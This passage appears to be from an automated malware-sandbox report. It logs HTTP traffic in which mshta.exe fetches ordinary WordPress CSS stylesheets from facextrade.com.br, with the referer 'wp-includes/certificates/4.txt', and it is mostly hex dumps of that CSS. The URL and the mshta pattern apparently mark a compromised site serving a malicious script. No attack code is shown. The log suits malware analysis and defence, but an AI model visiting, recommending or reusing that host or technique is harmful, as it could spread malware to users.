                                                              Data Ascii: px) and (max-width: 979px) { .hidden-desktop { display: inherit !important; } .visible-desktop { display: none !important ; } .visible-tablet { display: inherit !important; } .hidden-tablet { display: none !import
                                                              Aug 16, 2022 10:33:05.274024010 CEST217INData Raw: 20 20 7d 0a 20 20 2e 73 70 61 6e 35 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 34 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 34 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 33 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 33 20 7b 0a 20
                                                              Data Ascii: } .span5 { width: 470px; } .span4 { width: 370px; } .span3 { width: 270px; } .span2 { width: 170px; } .span1 { width: 70px; } .offset12 { margin-left: 1230px; } .offset11 { margin-left: 1
                                                              Aug 16, 2022 10:33:05.274048090 CEST219INData Raw: 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 2a 77 69 64 74 68 3a 20 39 39 2e 39 34 36 38 30 38 35 31 30 36 33 38 32 39 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e 31 31 20 7b 0a 20 20 20 20 77
                                                              Data Ascii: width: 100%; *width: 99.94680851063829%; } .row-fluid .span11 { width: 91.45299145299145%; *width: 91.39979996362975%; } .row-fluid .span10 { width: 82.90598290598291%; *width: 82.8527914166212%; } .row-flu
                                                              Aug 16, 2022 10:33:05.274071932 CEST220INData Raw: 2d 6c 65 66 74 3a 20 39 36 2e 34 37 34 38 31 33 36 30 32 34 37 33 31 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 31 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66
                                                              Data Ascii: -left: 96.47481360247316%; } .row-fluid .offset11:first-child { margin-left: 94.01709401709402%; *margin-left: 93.91071103837061%; } .row-fluid .offset10 { margin-left: 88.03418803418803%; *margin-left: 87.9278050554646
                                                              Aug 16, 2022 10:33:05.274099112 CEST222INData Raw: 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 32 2e 37 33 35 30 34 32 37 33 35 30 34 32 37 33 25 3b 0a 20 20
                                                              Data Ascii: %; } .row-fluid .offset5:first-child { margin-left: 42.73504273504273%; *margin-left: 42.62865975631933%; } .row-fluid .offset4 { margin-left: 36.75213675213675%; *margin-left: 36.645753773413354%; } .row-fluid .off
                                                              Aug 16, 2022 10:33:05.274122953 CEST223INData Raw: 74 65 78 74 61 72 65 61 2e 73 70 61 6e 31 30 2c 0a 20 20 2e 75 6e 65 64 69 74 61 62 6c 65 2d 69 6e 70 75 74 2e 73 70 61 6e 31 30 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 39 35 36 70 78 3b 0a 20 20 7d 0a 20 20 69 6e 70 75 74 2e 73 70 61 6e 39 2c
                                                              Data Ascii: textarea.span10, .uneditable-input.span10 { width: 956px; } input.span9, textarea.span9, .uneditable-input.span9 { width: 856px; } input.span8, textarea.span8, .uneditable-input.span8 { width: 756px; } input.s
                                                              Aug 16, 2022 10:33:05.274146080 CEST225INData Raw: 70 20 2e 63 6f 6e 74 61 69 6e 65 72 2c 0a 20 20 2e 6e 61 76 62 61 72 2d 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 37 32 34 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 31 32 20
                                                              Data Ascii: p .container, .navbar-fixed-bottom .container { width: 724px; } .span12 { width: 724px; } .span11 { width: 662px; } .span10 { width: 600px; } .span9 { width: 538px; } .span8 { width: 476px; } .
                                                              Aug 16, 2022 10:33:05.274169922 CEST226INData Raw: 65 72 2d 62 6f 78 3b 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 2e 37 36 32 34 33 30 39 33 39 32 32 36 35 31 39 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32
                                                              Data Ascii: er-box; float: left; margin-left: 2.7624309392265194%; *margin-left: 2.709239449864817%; } .row-fluid [class*="span"]:first-child { margin-left: 0; } .row-fluid .controls-row [class*="span"] + [class*="span"] { marg
                                                              Aug 16, 2022 10:33:05.274192095 CEST227INData Raw: 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 32 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35 2e 35 32 34 38 36 31 38 37 38 34 35 33 30 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35 2e
                                                              Data Ascii: row-fluid .offset12 { margin-left: 105.52486187845304%; *margin-left: 105.41847889972962%; } .row-fluid .offset12:first-child { margin-left: 102.76243093922652%; *margin-left: 102.6560479605031%; } .row-fluid .offset11
                                                              Aug 16, 2022 10:33:05.493432045 CEST245INData Raw: 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 31 34 33 36 34 36 34 30 38 38 33 39 37 38 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 30 33 37 32 36 33 34 33 30 31 31 36 33 37 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77
                                                              Data Ascii: margin-left: 54.14364640883978%; *margin-left: 54.037263430116376%; } .row-fluid .offset6:first-child { margin-left: 51.38121546961326%; *margin-left: 51.27483249088986%; } .row-fluid .offset5 { margin-left: 45.58011049
                                                              Aug 16, 2022 10:33:05.495379925 CEST254OUTGET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:05.710182905 CEST335INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:24 GMT
                                                              Server: Apache
                                                              ETag: "a5303e-6698-58592d3483f00"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT
                                                              Content-Length: 26264
                                                              Content-Type: text/css
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 16866000 23495758
                                                              Age: 41
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 2a 0a 2a 09 47 45 4e 45 52 41 4c 0a 2a 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 64 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 64 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 09 66 6f 6e 74 3a 20 69 6e 68 65 72 69 74 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 66 61 6b 65 68 6f 76 65 72 20 7b 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 30 70 78 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d
                                                              Data Ascii: /****************************GENERAL***************************/.camera_wrap a, .camera_wrap img, .camera_wrap ol, .camera_wrap ul, .camera_wrap li,.camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td.camera_thumbs_wrap a, .camera_thumbs_wrap img, .camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,.camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {background: none;border: 0;font: inherit;font-size: 100%;margin: 0;padding: 0;vertical-align: baseline;list-style: none}.camera_wrap {display: none;float: left;position: relative;z-index: 0;}.camera_wrap img {max-width: none!important;}.camera_fakehover {height: 100%;min-height: 60px;position: relative;width: 100%;z-index: 1;}.camera_wrap {width: 100%;}
                                                              Aug 16, 2022 10:33:05.716289043 CEST362OUTGET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:05.936403990 CEST365INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:05 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT
                                                              ETag: "a4fabd-1735-58592f81e2d80"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 5941
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 6f 6f 74 68 65 6d 65 73 2e 63 6f 6d 2f 66 6c 65 78 73 6c 69 64 65 72 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 46 72 65 65 20 74 6f 20 75 73 65 20 75 6e 64 65 72 20 74 68 65 20 47 50 4c 76 32 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 67 70 6c 2d 32 2e 30 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 61 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 20 28 40 6d 62 6d 75 66 66 66 69 6e 29 0a 20 2a 2f 0a 0a 0a 2f 2a 20 42 72 6f 77 73 65 72 20 52 65 73 65 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 66 6c 65 78 2d 63 6f 6e 74 61 69 6e 65 72 20 61 3a 61 63 74 69 76 65 2c 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 61 3a 61 63 74 69 76 65 2c 0a 2e 66 6c 65 78 2d 63 6f 6e 74 61 69 6e 65 72 20 61 3a 66 6f 63 75 73 2c 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 61 3a 66 6f 63 75 73 20 20 7b 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 7d 0a 2e 73 6c 69 64 65 73 2c 0a 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 2c 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 7d 0a 2e 66 6c 65 78 73 6c 69 64 65 72 2d 72 74 6c 20 7b 64 69 72 65 63 74 69 6f 6e 3a 72 74 6c 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 7d 0a 2f 2a 20 49 63 6f 6e 20 46 6f 6e 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2f 2a 20 46 6f 6e 74 2d 66 61 63 65 20 49 63 6f 6e 73 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 27 3b 0a 09 73 72 63 3a 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 65 6f 74 27 29 3b 0a 09 73 72 63 3a 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 65 6f 74 3f 23 69 65 66 69 78 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 74 74 66 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 0a 09 09 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 73 76 67 23 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 27 29 20 66 6f 72 6d 61 74 28 27 73 76 67 27 29 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 7d 0a 0a 2f 2a 20 46 6c 65 78 53 6c 69 64 65 72 20 4e 65 63 65 73 73 61 72 79 20 53 74 79 6c 65 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20
                                                              Data Ascii: /* * jQuery FlexSlider v2.2.0 * http://www.woothemes.com/flexslider/ * * Copyright 2012 WooThemes * Free to use under the GPLv2 license. * http://www.gnu.org/licenses/gpl-2.0.html * * Contributing author: Tyler Smith (@mbmufffin) *//* Browser Resets*********************************/.flex-container a:active,.flexslider a:active,.flex-container a:focus,.flexslider a:focus {outline: none;}.slides,.flex-control-nav,.flex-direction-nav {margin: 0; padding: 0; list-style: none;}.flexslider-rtl {direction:rtl; text-align:right;}/* Icon Fonts*********************************//* Font-face Icons */@font-face {font-family: 'flexslider-icon';src:url('fonts/flexslider-icon.eot');src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),url('fonts/flexslider-icon.woff') format('woff'),url('fonts/flexslider-icon.ttf') format('truetype'),url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');font-weight: normal;font-style: normal;}/* FlexSlider Necessary Styles*********************************/.flexslider {margin: 0; padding:


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              6192.168.2.2249179187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:05.921474934 CEST364OUTGET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:06.136574030 CEST381INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:06 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:25 GMT
                                                              ETag: "1eb103-41cd-5c93d38b56102"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 16845
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 66 69 78 65 64 5f 68 65 69 67 68 74 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 23 73 62 69 5f 69 6d 61 67 65 73 7b 77 69 64 74 68 3a 31 30 30 25 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 68 65 61 64 65 72 5f 6c 69 6e 6b 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 68 65 61 64 65 72 5f 6c 69 6e 6b 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 23 73 62 69 5f 69 6d 61 67 65 73 20 2e 73 62 69 5f 69 74 65 6d 7b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 69 6e 6c 69 6e 65 2d 73 74 61 63 6b 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 7a 6f 6f 6d 3a 31 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 30 70 78 3b 70 61 64 64 69 6e 67 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 23 73 62 69 5f 69 6d 61 67 65 73 20 2e 73 62 69 5f 69 74 65 6d 2e 73 62 69 5f 74 72 61 6e 73 69 74 69 6f 6e 7b 6f 70 61 63 69 74 79 3a 30 3b
                                                              Data Ascii: #sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram #sbi_images{width:100%;float:left;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram .sbi_header_link{-webkit-box-shadow:none;box-shadow:none}#sb_instagram .sbi_header_link:hover{border:none}#sb_instagram #sbi_images .sbi_item{display:-moz-inline-stack;display:inline-block;float:left;vertical-align:top;zoom:1;max-height:1000px;padding:inherit!important;margin:0!important;text-decoration:none;opacity:1;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;-ms-transition:all .5s ease;transition:all .5s ease}#sb_instagram #sbi_images .sbi_item.sbi_transition{opacity:0;
                                                              Aug 16, 2022 10:33:06.136595011 CEST382INData Raw: 6d 61 78 2d 68 65 69 67 68 74 3a 30 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 63 6f 6c 5f 31 20 23 73 62 69 5f 69 6d 61 67 65 73 20 2e 73 62 69 5f 69 74 65 6d 7b 77 69 64 74 68 3a 31 30 30 25 7d 23 73 62 5f 69 6e 73 74 61 67 72 61
                                                              Data Ascii: max-height:0}#sb_instagram.sbi_col_1 #sbi_images .sbi_item{width:100%}#sb_instagram.sbi_col_2 #sbi_images .sbi_item{width:50%}#sb_instagram.sbi_col_3 #sbi_images .sbi_item{width:33.33%}#sb_instagram.sbi_col_4 #sbi_images .sbi_item{width:25%}#s
                                                              Aug 16, 2022 10:33:06.136610985 CEST383INData Raw: 69 5f 69 74 65 6d 7b 77 69 64 74 68 3a 31 30 25 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 70 68 6f 74 6f 5f 77 72 61 70 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62
                                                              Data Ascii: i_item{width:10%}#sb_instagram .sbi_photo_wrap{position:relative}#sb_instagram .sbi_photo{display:block;text-decoration:none}#sb_instagram .sbi_photo img{width:100%;height:auto}#sb_instagram .sbi_no_js img{display:none}#sb_instagram a,#sb_inst
                                                              Aug 16, 2022 10:33:06.136626005 CEST385INData Raw: 65 6c 20 2e 66 61 2d 63 6c 6f 6e 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a
